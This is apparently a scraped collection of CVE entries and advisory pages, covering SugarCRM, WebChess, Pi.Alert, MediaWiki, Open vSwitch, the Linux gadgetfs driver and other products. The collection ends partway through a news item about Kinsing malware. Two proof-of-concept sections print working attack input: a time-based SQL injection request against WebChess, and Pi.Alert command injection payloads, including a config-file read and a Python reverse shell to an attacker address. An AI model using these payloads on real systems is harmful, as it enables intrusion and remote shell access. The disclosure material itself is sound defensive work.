In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.

SugarCRM SupportPoliciesSecuritysugarcrm-sa-2023-001

**Advisory ID**: https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001

**Revision**: 1.0

**Last Updated**: 2023-01-10

**Status**: Final

**Summary**

**Risk Level**: High

**Vulnerability**: RCE (Remote Code Execution)

**Description**

A Remote Code Execution vulnerability has been identified in the EmailTemplates. Using a specially crafted request, custom PHP code can be injected through the EmailTemplates because of missing input validation. Any user privileges can exploit this vulnerability. 

**Affected Products**

The list of affected products reflects all currently maintained versions at the publication date of this advisory. If you are running older versions than the ones reported below, we strongly advise upgrading immediately to one of the supported versions.

**Product**

**Fixed Release**

SugarCRM 12.2   
Enterprise, Sell, Serve 

12.2.0   
Hotfixed in SugarCloud 

SugarCRM 12.1   
Enterprise, Sell, Serve 

12.1.0   
Hotfixed in SugarCloud 

SugarCRM 12.0   
Enterprise, Sell, Serve 

12.0.   
Hotfix 91155 12.0.0-12.0.1 (Ent+Ult) v1.1   
Hotfix 91155 12.0.0-12.0.1 (Pro) v1.1   
Hotfixed in SugarCloud 

SugarCRM 11.3   
Professional, Enterprise, Ultimate, Sell, Serve 

11.3.0   
Hotfixed in SugarCloud 

SugarCRM 11.2   
Professional, Enterprise, Ultimate, Sell, Serve 

11.2.0   
Hotfixed in SugarCloud 

SugarCRM 11.1   
Professional, Enterprise, Ultimate, Sell, Serve 

11.1.0   
Hotfixed in SugarCloud 

SugarCRM 11.0   
Professional, Enterprise, Ultimate, Sell, Serve 

11.0.4   
Hotfix 91155 11.0.0-11.0.5 (Ent+Ult) v1.1   
Hotfix 91155 11.0.0-11.0.5 (Pro) v1.1   
Hotfixed in SugarCloud 

**Upgrades****On-Site Customers**

For more information on mitigation, please contact Sugar Support or refer to our FAQ. 

**SugarCloud and SugarCRM Managed Hosting Customers**

Hotfix has been applied to all Sugar supported versions. 

**Workaround**

There is no workaround available for this vulnerability.

**Publication History**

2023-01-10

Update audience disclosure

2023-01-03

Internal disclosure

A stand-alone copy of this document that omits the distribution URL is an uncontrolled copy and may lack important information or contain factual errors. SugarCRM reserves the right to change or update this document at any time.

**Credits**

The vulnerability has been responsibly disclosed by several SugarCRM partners and has been fixed by the SugarCRM Security Team.

CVE-2023-22952: sa-2023-001 - SugarCRM Support Site

The personnummer implementation before 3.0.3 for Dart mishandles numbers in which the last four digits match the ^000[0-9]$ regular expression.

This vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.

The vulnerability is determined to be low severity.

**Impact**

This vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.

**Patches**

The issue have been patched in all repositories. The following versions should be updated to as soon as possible:

C# 3.0.2  
D 3.0.1  
Dart 3.0.3  
Elixir 3.0.0  
Go 3.0.1  
Java 3.3.0  
JavaScript 3.1.0  
Kotlin 1.1.0  
Lua 3.0.1  
PHP 3.0.2  
Perl 3.0.0  
Python 3.0.2  
Ruby 3.0.1  
Rust 3.0.0  
Scala 3.0.1  
Swift 1.0.1

If you are using any of the earlier packages, please update to latest.

**Workarounds**

The issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be  
000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not  
000x.

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in Personnummer Meta
*   Email us at Personnummer Email

**References**

*   GHSA-4xh4-v2pq-jvhm
*   https://pub.dev/packages/personnummer

CVE-2023-22963: GHSA-4xh4-v2pq-jvhm - GitHub Advisory Database

WebChess through 0.9.0 and 1.0.0.rc2 allows SQL injection: mainmenu.php, chess.php, and opponentspassword.php (txtFirstName, txtLastName).

**webchess\_sqli\_poc**

1.  register 1 new user with password:123
2.  login as the new user
3.  click "personal" on the left
4.  file in the form (do not change password) and submit, intercept the packet, record the PHPSESSID
5.  modify origin/Referer/PHPSESSID, then send the following malicious packet:

POST /webchess/mainmenu.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 216

Cache-Control: max-age=0

sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Linux"

Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,_/_;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: http://127.0.0.1/webchess/mainmenu.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: PHPSESSID=0h36rka0b1ijafmi9enqn3cjat

Connection: close

txtFirstName=test11&txtLastName=%27+or+updatexml%280%2Cconcat%280x7e%2C%28select+\*+from+%28select%28sleep%2810%29%29%29a%29%29%2C0%29+or+%27&pwdOldPassword=123&pwdPassword=123&pwdPassword2=123&ToDo=UpdatePersonalInfo

6.  The server will be hanged for 10s

CVE-2023-22959: GitHub - chenan224/webchess_sqli_poc

The jokob-sk/Pi.Alert fork (before 22.12.20) of Pi.Alert allows Remote Code Execution via nmap_scan.php (scan parameter) OS Command Injection.

**Summary**

An OS Command injection vulnerability allows any unauthenticated user to execute arbitrary code on the server.

**Details**

The affected code can be found here:  
https://github.com/jokob-sk/Pi.Alert/blob/main/front/php/server/nmap\_scan.php  
As well as the corresponding leiweibau fork.  
Here is the CWE with more information on how the vulnerability works and can be fixed.  
https://cwe.mitre.org/data/definitions/78.html

Some other helpful links:  
https://cheatsheetseries.owasp.org/cheatsheets/OS\_Command\_Injection\_Defense\_Cheat\_Sheet.html  
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web\_Application\_Security\_Testing/07-Input\_Validation\_Testing/12-Testing\_for\_Command\_Injection  
https://owasp.org/www-community/attacks/Command\_Injection

**PoC**

Using the default configuration, click on any device and then navigate to the nmap tab. Click on one of the nmap buttons and intercept the request via Burp Proxy. Modify the request by adding a semi-colon and then whatever other command you want to run after the scan=.

scan=192.168.1.5&mode=fast

to

scan=;whoami&mode=fast

it will come back as www-data

another useful command is

scan=;cat ../../../config/pialert.conf&mode=fast  
  

Reverse shell via python (change the ip and port to match attacker machine):

scan=;python -c 'import socket,subprocess;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("192.168.1.63",4444));subprocess.call(\["/bin/sh","-i"\],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'&mode=fast

Video of the POC (unlisted video):  
https://youtu.be/BR43Af5iykE

This same request can result in XSS as well but eh to that because un-authenticated internal only app.

**Impact**

An attacker with access to the pi.alert web UI would be able to run code on server.

CVE-2022-48252: Remote Code Execution via OS Command Injection

In the GrowthExperiments extension for MediaWiki through 1.39, the growthmanagementorlist API allows blocked users (blocked in ApiManageMentorList) to enroll as mentors or edit any of their mentorship-related properties.

**

action=growthmanagementorlist makes it possible for blocked users to enroll as mentors



**

*   Edit Task
*   Edit Related Tasks...
*   Edit Related Objects...

*   Mute Notifications
*   Protect as security issue
*   Award Token
*   Flag For Later

Earlier today, the Growth team deployed structured mentor list to all Wikimedia wikis. This switched mentor list from a wikitext page to MediaWiki:GrowthMentors.json, edited by mentors (non-admins) via special pages and the action=growthmanagementorlist API.

While we did test how blocks interact with the new feature, we only tested the user interface, and not the API. Today, I noticed that while the special pages do ensure the user is not blocked, the API (action=growthmanagementorlist) does not. This means blocked users are able to enroll as mentors via action=growthmanagementorlist, or to edit any of their mentorship-related properties.

Successfully reproduced at test.wikipedia.org. I'll suppress the edits and block entries for security.

Author Affiliation

WMF Product

*   Task Graph

**Event Timeline**

Comment Actions

This is a fairly serious vulnerability: blocked users (including long-term abusers) with at least 500 edits can become mentors and harm the mentorship system.

Urbanecm\_WMF lowered the priority of this task from Unbreak Now! to High.Oct 26 2022, 8:48 PM

Comment Actions

Deployed to production, lowering to High since this does not impact production anymore.

22:42 <urbanecm> !log Deploying security patch for T321733
22:42 <+stashbot> Logged the message at https://wikitech.wikimedia.org/wiki/Server\_Admin\_Log

Comment Actions

Sorry for missing this in code review.

As a follow-up, I think adding regression test (PHPUnit integration test) would be good.

Comment Actions

> Sorry for missing this in code review.

No worries!

> As a follow-up, I think adding regression test (PHPUnit integration test) would be good.

Yes, for sure (as well as review other APIs for potential similar issues). I didn't want to clutter the security patch with a test, that can be done in Gerrit, once this task's public.

Comment Actions

FTR, the affected feature is not actually a part of any release (1.39 is yet to be released) yet.

Content licensed under Creative Commons Attribution-ShareAlike 3.0 (CC-BY-SA) unless otherwise noted; code licensed under GNU General Public License (GPL) or other open source licenses. By using this site, you agree to the Terms of Use, Privacy Policy, and Code of Conduct. · Wikimedia Foundation · Privacy Policy · Code of Conduct · Terms of Use · Disclaimer · CC-BY-SA · GPL

CVE-2023-22945: ⚓ T321733 action=growthmanagementorlist makes it possible for blocked users to enroll as mentors

An out-of-bounds read in Organization Specific TLV was found in various versions of OpenvSwitch.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[<thread-prev\] \[day\] \[month\] \[year\] \[list\]

Date: Wed, 21 Dec 2022 12:10:03 +0100
From: Ilya Maximets <i.maximets@....org>
To: oss-security@...ts.openwall.com, ovs-announce@...nvswitch.org,
 ovs-discuss <ovs-discuss@...nvswitch.org>
Cc: i.maximets@....org, Aaron Conole <aconole@...hat.com>,
 Qian Chen <cq674350529@...il.com>, John Helmert III <ajak@...too.org>
Subject: Re: \[ADVISORY\] LLDP underflow while parsing malformed Auto Attach TLV
 (Open vSwitch)

On 12/20/22 22:39, Ilya Maximets wrote:
> Description
> ===========
> 
> Multiple versions of Open vSwitch are vulnerable to crafted LLDP
> packets causing denial of service, and data underflow attacks.
> Triggering the vulnerabilities requires LLDP processing to be enabled
> for a specific port.  Open vSwitch versions prior to 2.4.0 are not
> vulnerable.
> 
> The Common Vulnerabilities and Exposures project (cve.mitre.org)
> did not assign the identifier to this issue yet.  The identifier will
> be communicated separately.

Following CVE identifiers have been allocated for the issue (one per
TLV type since they can have a slightly different effect):

 - CVE-2022-4337 for Out-of-Bounds Read in Organization Specific TLV
 - CVE-2022-4338 for Integer Underflow in Organization Specific TLV

The fix referenced in this advisory covers both issues.

> This issue does not affect the \`lldpd'
> project, although they share a code base.  The issue is related to
> parsing the Auto Attach TLVs, which is specific to the Open vSwitch
> implementation.
> 
> 
> Mitigation
> ==========
> 
> For any version of Open vSwitch, preventing LLDP packets from reaching
> Open vSwitch mitigates the vulnerability.  We do not recommend
> attempting to mitigate the vulnerability this way because of the
> following difficulties:
> 
>     - Open vSwitch obtains packets before the iptables host firewall,
>       so ebtables on the Open vSwitch host cannot ordinarily block the
>       vulnerability.
> 
>     - If Open vSwitch is configured to receive and transmit LLDP
>       messages, the required functionality will need to be disabled
>       potentially disrupting the network.
> 
> We have found that Open vSwitch is subject to a denial of service, and
> possibly a remote code execution exploit when LLDP processing is enabled
> on an interface.  By default, interfaces are not configured to process
> LLDP messages.
> 
> 
> Fix
> ===
> 
> Patches to fix these vulnerabilities in Open vSwitch 2.13.x and newer are
> applied to the appropriate branches, and the original patch is located
> at:
> 
>    https://mail.openvswitch.org/pipermail/ovs-dev/2022-December/400596.html
> 
> Recommendation
> ==============
> 
> We recommend that users of Open vSwitch apply the respective patch, or
> upgrade to a known patched version of Open vSwitch.  These include:
> 
> \* 3.0.3
> \* 2.17.5
> \* 2.16.6
> \* 2.15.7
> \* 2.14.8
> \* 2.13.10
> 
> 
> Acknowledgments
> ===============
> 
> The Open vSwitch team wishes to thank the reporter:
> 
>   Qian Chen <cq674350529@...il.com>
> 

**Download attachment "**OpenPGP\_0xB9F7EC77C829BF96.asc**" of type "**application/pgp-keys**" (4740 bytes)**

**Download attachment "**OpenPGP\_signature**" of type "**application/pgp-signature**" (841 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-4337: security - Re: [ADVISORY] LLDP underflow while parsing malformed Auto Attach TLV (Open vSwitch)

A use-after-free flaw caused by a race among the superblock operations in the gadgetfs Linux driver was found. It could be triggered by yanking out a device that is running the gadgetfs side.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[<thread-prev\] \[day\] \[month\] \[year\] \[list\]

Date: Wed, 14 Dec 2022 23:22:38 +0800
From: Gerald Lee <sundaywind2004@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: Linux Kernel: usb: A use-after-free Write in put\_dev

This was assigned CVE-2022-4382.

=\*=\*=\*=\*=\*=\*=\*=\*=     CREDIT     =\*=\*=\*=\*=\*=\*=\*=\*=

Zhixin Li from Zero-one Security <sundaywind2004@...il.com>


Thanks.


On Tue, Dec 13, 2022 at 2:53 PM Gerald Lee <sundaywind2004@...il.com> wrote:
>
> Hi all,
>
> =\*=\*=\*=\*=\*=\*=\*=\*=   BUG DETAILS  =\*=\*=\*=\*=\*=\*=\*=\*=
>
> This use-after-free violation is caused by a race among the superblock
> operations in the gadgetfs driver. The vulnerability may not be a big
> deal, because the normal user can't execute umount. It could be
> triggered by yanking out a device that is running the gadgetfs side,
> but I don't know how to do that.
>
> C repro is attached.
>
> =\*=\*=\*=\*=\*=\*=\*=\*=     BACKTRACE     =\*=\*=\*=\*=\*=\*=\*=\*=
> BUG: KASAN: use-after-free in instrument\_atomic\_read\_write
> include/linux/instrumented.h:102 \[inline\]
> BUG: KASAN: use-after-free in atomic\_fetch\_sub\_release
> include/linux/atomic/atomic-instrumented.h:176 \[inline\]
> BUG: KASAN: use-after-free in \_\_refcount\_sub\_and\_test
> include/linux/refcount.h:272 \[inline\]
> BUG: KASAN: use-after-free in \_\_refcount\_dec\_and\_test
> include/linux/refcount.h:315 \[inline\]
> BUG: KASAN: use-after-free in refcount\_dec\_and\_test
> include/linux/refcount.h:333 \[inline\]
> BUG: KASAN: use-after-free in put\_dev+0x22/0xd0
> drivers/usb/gadget/legacy/inode.c:159
> Write of size 4 at addr ffff8880436d2040 by task syz-executor.5/7587
>
> CPU: 1 PID: 7587 Comm: syz-executor.5 Not tainted 6.1.0-rc7 #1
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
> 1.13.0-1ubuntu1.1 04/01/2014
> Call Trace:
>  <TASK>
>  \_\_dump\_stack lib/dump\_stack.c:88 \[inline\]
>  dump\_stack\_lvl+0xd1/0x138 lib/dump\_stack.c:106
>  print\_address\_description mm/kasan/report.c:284 \[inline\]
>  print\_report+0x15e/0x45d mm/kasan/report.c:395
>  kasan\_report+0xbf/0x1f0 mm/kasan/report.c:495
>  check\_region\_inline mm/kasan/generic.c:183 \[inline\]
>  kasan\_check\_range+0x141/0x190 mm/kasan/generic.c:189
>  instrument\_atomic\_read\_write include/linux/instrumented.h:102 \[inline\]
>  atomic\_fetch\_sub\_release
> include/linux/atomic/atomic-instrumented.h:176 \[inline\]
>  \_\_refcount\_sub\_and\_test include/linux/refcount.h:272 \[inline\]
>  \_\_refcount\_dec\_and\_test include/linux/refcount.h:315 \[inline\]
>  refcount\_dec\_and\_test include/linux/refcount.h:333 \[inline\]
>  put\_dev+0x22/0xd0 drivers/usb/gadget/legacy/inode.c:159
>  gadgetfs\_kill\_sb+0x2e/0x60 drivers/usb/gadget/legacy/inode.c:2086
>  deactivate\_locked\_super+0x98/0x160 fs/super.c:332
>  vfs\_get\_super fs/super.c:1190 \[inline\]
>  get\_tree\_single+0x188/0x1d0 fs/super.c:1207
>  vfs\_get\_tree+0x8d/0x2f0 fs/super.c:1531
>  vfs\_fsconfig\_locked fs/fsopen.c:232 \[inline\]
>  \_\_do\_sys\_fsconfig+0x8d6/0xc20 fs/fsopen.c:439
>  do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
>  do\_syscall\_64+0x39/0xb0 arch/x86/entry/common.c:80
>  entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd
> RIP: 0033:0x7f8d5129078d
> Code: c3 e8 17 32 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48
> 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d
> 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
> RSP: 002b:00007f8d52024bd8 EFLAGS: 00000246 ORIG\_RAX: 00000000000001af
> RAX: ffffffffffffffda RBX: 00007f8d513cbf80 RCX: 00007f8d5129078d
> RDX: 0000000000000000 RSI: 0000000000000006 RDI: 0000000000000003
> RBP: 00007f8d512feb02 R08: 0000000000000000 R09: 0000000000000000
> R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
> R13: 00007ffd48293eff R14: 00007ffd48294090 R15: 00007f8d52024d80
>  </TASK>
>
> Allocated by task 7561:
>  kasan\_save\_stack+0x22/0x40 mm/kasan/common.c:45
>  kasan\_set\_track+0x25/0x30 mm/kasan/common.c:52
>  \_\_\_\_kasan\_kmalloc mm/kasan/common.c:371 \[inline\]
>  \_\_\_\_kasan\_kmalloc mm/kasan/common.c:330 \[inline\]
>  \_\_kasan\_kmalloc+0xa5/0xb0 mm/kasan/common.c:380
>  kmalloc include/linux/slab.h:553 \[inline\]
>  kzalloc include/linux/slab.h:689 \[inline\]
>  dev\_new drivers/usb/gadget/legacy/inode.c:170 \[inline\]
>  gadgetfs\_fill\_super+0x1e4/0x460 drivers/usb/gadget/legacy/inode.c:2041
>  vfs\_get\_super fs/super.c:1169 \[inline\]
>  get\_tree\_single+0xd6/0x1d0 fs/super.c:1207
>  vfs\_get\_tree+0x8d/0x2f0 fs/super.c:1531
>  vfs\_fsconfig\_locked fs/fsopen.c:232 \[inline\]
>  \_\_do\_sys\_fsconfig+0x8d6/0xc20 fs/fsopen.c:439
>  do\_syscall\_x64 arch/x86/entry/common.c:50 \[inline\]
>  do\_syscall\_64+0x39/0xb0 arch/x86/entry/common.c:80
>  entry\_SYSCALL\_64\_after\_hwframe+0x63/0xcd
>
> Last potentially related work creation:
>  kasan\_save\_stack+0x22/0x40 mm/kasan/common.c:45
>  \_\_kasan\_record\_aux\_stack+0xbc/0xd0 mm/kasan/generic.c:481
>  call\_rcu+0x9d/0x820 kernel/rcu/tree.c:2798
>  pwq\_unbound\_release\_workfn+0x26b/0x340 kernel/workqueue.c:3736
>  process\_one\_work+0x9bf/0x1710 kernel/workqueue.c:2289
>  worker\_thread+0x669/0x1090 kernel/workqueue.c:2436
>  kthread+0x2e8/0x3a0 kernel/kthread.c:376
>  ret\_from\_fork+0x1f/0x30 arch/x86/entry/entry\_64.S:306
>
> Second to last potentially related work creation:
>  kasan\_save\_stack+0x22/0x40 mm/kasan/common.c:45
>  \_\_kasan\_record\_aux\_stack+0xbc/0xd0 mm/kasan/generic.c:481
>  call\_rcu+0x9d/0x820 kernel/rcu/tree.c:2798
>  pwq\_unbound\_release\_workfn+0x26b/0x340 kernel/workqueue.c:3736
>  process\_one\_work+0x9bf/0x1710 kernel/workqueue.c:2289
>  worker\_thread+0x669/0x1090 kernel/workqueue.c:2436
>  kthread+0x2e8/0x3a0 kernel/kthread.c:376
>  ret\_from\_fork+0x1f/0x30 arch/x86/entry/entry\_64.S:306
>
> The buggy address belongs to the object at ffff8880436d2000
>  which belongs to the cache kmalloc-1k of size 1024
> The buggy address is located 64 bytes inside of
>  1024-byte region \[ffff8880436d2000, ffff8880436d2400)
>
> The buggy address belongs to the physical page:
> page:ffffea00010db400 refcount:1 mapcount:0 mapping:0000000000000000
> index:0x0 pfn:0x436d0
> head:ffffea00010db400 order:3 compound\_mapcount:0 compound\_pincount:0
> flags: 0x4fff00000010200(slab|head|node=1|zone=1|lastcpupid=0x7ff)
> raw: 04fff00000010200 dead000000000100 dead000000000122 ffff888012041dc0
> raw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000
> page dumped because: kasan: bad access detected
> page\_owner tracks the page as allocated
> page last allocated via order 3, migratetype Unmovable, gfp\_mask
> 0x52a20(GFP\_ATOMIC|\_\_GFP\_NOWARN|\_\_GFP\_NORETRY|\_\_GFP\_COMP), pid 6599,
> tgid 6599 (syz-executor.0), ts 29294571719, free\_ts 29285126043
>  prep\_new\_page mm/page\_alloc.c:2539 \[inline\]
>  get\_page\_from\_freelist+0x10b5/0x2d50 mm/page\_alloc.c:4291
>  \_\_alloc\_pages+0x1cb/0x5b0 mm/page\_alloc.c:5558
>  alloc\_pages+0x1aa/0x270 mm/mempolicy.c:2285
>  alloc\_slab\_page mm/slub.c:1794 \[inline\]
>  allocate\_slab+0x213/0x300 mm/slub.c:1939
>  new\_slab mm/slub.c:1992 \[inline\]
>  \_\_\_slab\_alloc+0xa9b/0x13e0 mm/slub.c:3180
>  \_\_slab\_alloc.constprop.0+0x56/0xa0 mm/slub.c:3279
>  slab\_alloc\_node mm/slub.c:3364 \[inline\]
>  \_\_kmem\_cache\_alloc\_node+0x199/0x3e0 mm/slub.c:3437
>  kmalloc\_trace+0x26/0x60 mm/slab\_common.c:1045
>  kmalloc include/linux/slab.h:553 \[inline\]
>  kzalloc include/linux/slab.h:689 \[inline\]
>  batadv\_hardif\_add\_interface net/batman-adv/hard-interface.c:864 \[inline\]
>  batadv\_hard\_if\_event+0x8a1/0x1450 net/batman-adv/hard-interface.c:952
>  notifier\_call\_chain+0xb5/0x200 kernel/notifier.c:87
>  call\_netdevice\_notifiers\_info+0xb5/0x130 net/core/dev.c:1945
>  call\_netdevice\_notifiers\_extack net/core/dev.c:1983 \[inline\]
>  call\_netdevice\_notifiers net/core/dev.c:1997 \[inline\]
>  register\_netdevice+0x10bf/0x1670 net/core/dev.c:10090
>  veth\_newlink+0x4d1/0x990 drivers/net/veth.c:1795
>  rtnl\_newlink\_create net/core/rtnetlink.c:3364 \[inline\]
>  \_\_rtnl\_newlink+0x1084/0x17e0 net/core/rtnetlink.c:3581
>  rtnl\_newlink+0x68/0xa0 net/core/rtnetlink.c:3594
>  rtnetlink\_rcv\_msg+0x43e/0xca0 net/core/rtnetlink.c:6091
> page last free stack trace:
>  reset\_page\_owner include/linux/page\_owner.h:24 \[inline\]
>  free\_pages\_prepare mm/page\_alloc.c:1459 \[inline\]
>  free\_pcp\_prepare+0x65c/0xd90 mm/page\_alloc.c:1509
>  free\_unref\_page\_prepare mm/page\_alloc.c:3387 \[inline\]
>  free\_unref\_page+0x1d/0x4d0 mm/page\_alloc.c:3483
>  qlink\_free mm/kasan/quarantine.c:168 \[inline\]
>  qlist\_free\_all+0x6a/0x170 mm/kasan/quarantine.c:187
>  kasan\_quarantine\_reduce+0x184/0x210 mm/kasan/quarantine.c:294
>  \_\_kasan\_slab\_alloc+0x66/0x90 mm/kasan/common.c:302
>  kasan\_slab\_alloc include/linux/kasan.h:201 \[inline\]
>  slab\_post\_alloc\_hook mm/slab.h:737 \[inline\]
>  slab\_alloc\_node mm/slub.c:3398 \[inline\]
>  \_\_kmem\_cache\_alloc\_node+0x2e2/0x3e0 mm/slub.c:3437
>  kmalloc\_trace+0x26/0x60 mm/slab\_common.c:1045
>  kmalloc include/linux/slab.h:553 \[inline\]
>  kzalloc include/linux/slab.h:689 \[inline\]
>  kset\_create lib/kobject.c:937 \[inline\]
>  kset\_create\_and\_add+0x4f/0x1a0 lib/kobject.c:980
>  register\_queue\_kobjects net/core/net-sysfs.c:1766 \[inline\]
>  netdev\_register\_kobject+0x1ca/0x400 net/core/net-sysfs.c:2019
>  register\_netdevice+0xd99/0x1670 net/core/dev.c:10057
>  \_\_ip\_tunnel\_create+0x398/0x570 net/ipv4/ip\_tunnel.c:267
>  ip\_tunnel\_init\_net+0x2ec/0x9f0 net/ipv4/ip\_tunnel.c:1073
>  ops\_init+0xb9/0x680 net/core/net\_namespace.c:135
>  setup\_net+0x5d1/0xc50 net/core/net\_namespace.c:332
>  copy\_net\_ns+0x31c/0x760 net/core/net\_namespace.c:478
>  create\_new\_namespaces+0x3f6/0xb20 kernel/nsproxy.c:110
>
> Memory state around the buggy address:
>  ffff8880436d1f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>  ffff8880436d1f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
> >ffff8880436d2000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>                                            ^
>  ffff8880436d2080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>  ffff8880436d2100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
>
>
> =\*=\*=\*=\*=\*=\*=\*=\*=     PATCH     =\*=\*=\*=\*=\*=\*=\*=\*=
>
> The patch has been done by Alan Stern, and it can be found here:
> https://lore.kernel.org/linux-usb/Y5dV11OoM3ojxNHy@rowland.harvard.edu/
>
> Thanks.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-4382: security - Re: Linux Kernel: usb: A use-after-free Write in put_dev

The CPO Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several of its content type settings parameters in versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVE-2023-0162: Diff [2574013:2844012] for cpo-companion/trunk – WordPress Plugin Repository

Spitfire CMS 1.0.475 is vulnerable to PHP Object Injection.

Title: Spitfire CMS 1.0.475 (cms\_backup\_values) PHP Object Injection  
Advisory ID: ZSL-2022-5720  
Type: Local/Remote  
Impact: Manipulation of Data, DoS  
Risk: (4/5)  
Release Date: 09.12.2022

**Summary**

Spitfire is a system to manage the content of webpages.

**Description**

The application is prone to a PHP Object Injection vulnerability due to the unsafe use of unserialize() function. A potential attacker, authenticated, could exploit this vulnerability by sending specially crafted requests to the web application containing malicious serialized input.

**Vendor**

Claus Muus - http://spitfire.clausmuus.de

**Affected Version**

1.0.475

**Tested On**

nginx

**Vendor Status**

\[28.09.2022\] Vulnerability discovered.  
\[28.09.2022\] Vendor contacted.  
\[08.12.2022\] No response from the vendor.  
\[09.12.2022\] Public security advisory released.

**PoC**

spitfirecms\_cookieobjinj.txt

**Credits**

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk\>

**References**

\[1\] https://packetstormsecurity.com/files/170186/  
\[2\] https://cxsecurity.com/issue/WLB-2022120026

**Changelog**

\[09.12.2022\] - Initial release  
\[10.12.2022\] - Added reference \[1\]  
\[14.12.2022\] - Added reference \[2\]

**Contact**

Zero Science Lab

Web: https://www.zeroscience.mk  
e-mail: lab@zeroscience.mk

CVE-2022-47083: Zero Science Lab » Spitfire CMS 1.0.475 (cms_backup_values) PHP Object Injection

The cryptomining malware, which typically targets Linux, is exploiting weaknesses in an open source container tool for initial access to cloud environments.

A malware that typically targets Linux environments for cryptocurrency mining has found a new target: vulnerable images and weakly configured PostgreSQL containers in Kubernetes that can be exploited for initial access, Microsoft has found.

Kinsing is a Golang-based malware best known for its targeting of Linux environments, but Microsoft researchers recently observed the Kinsing malware evolving its tactics, Microsoft security researcher Sunders Bruskin divulged in a recently published report. 

Kubernetes, meanwhile, has become the standard open source tool for managing enterprise application deployment mainly because it's cost-effective, offers autoscaling, and can run on any infrastructure. Indeed, 85% of IT leaders consider Kubernetes "extremely important" to cloud-native strategies.

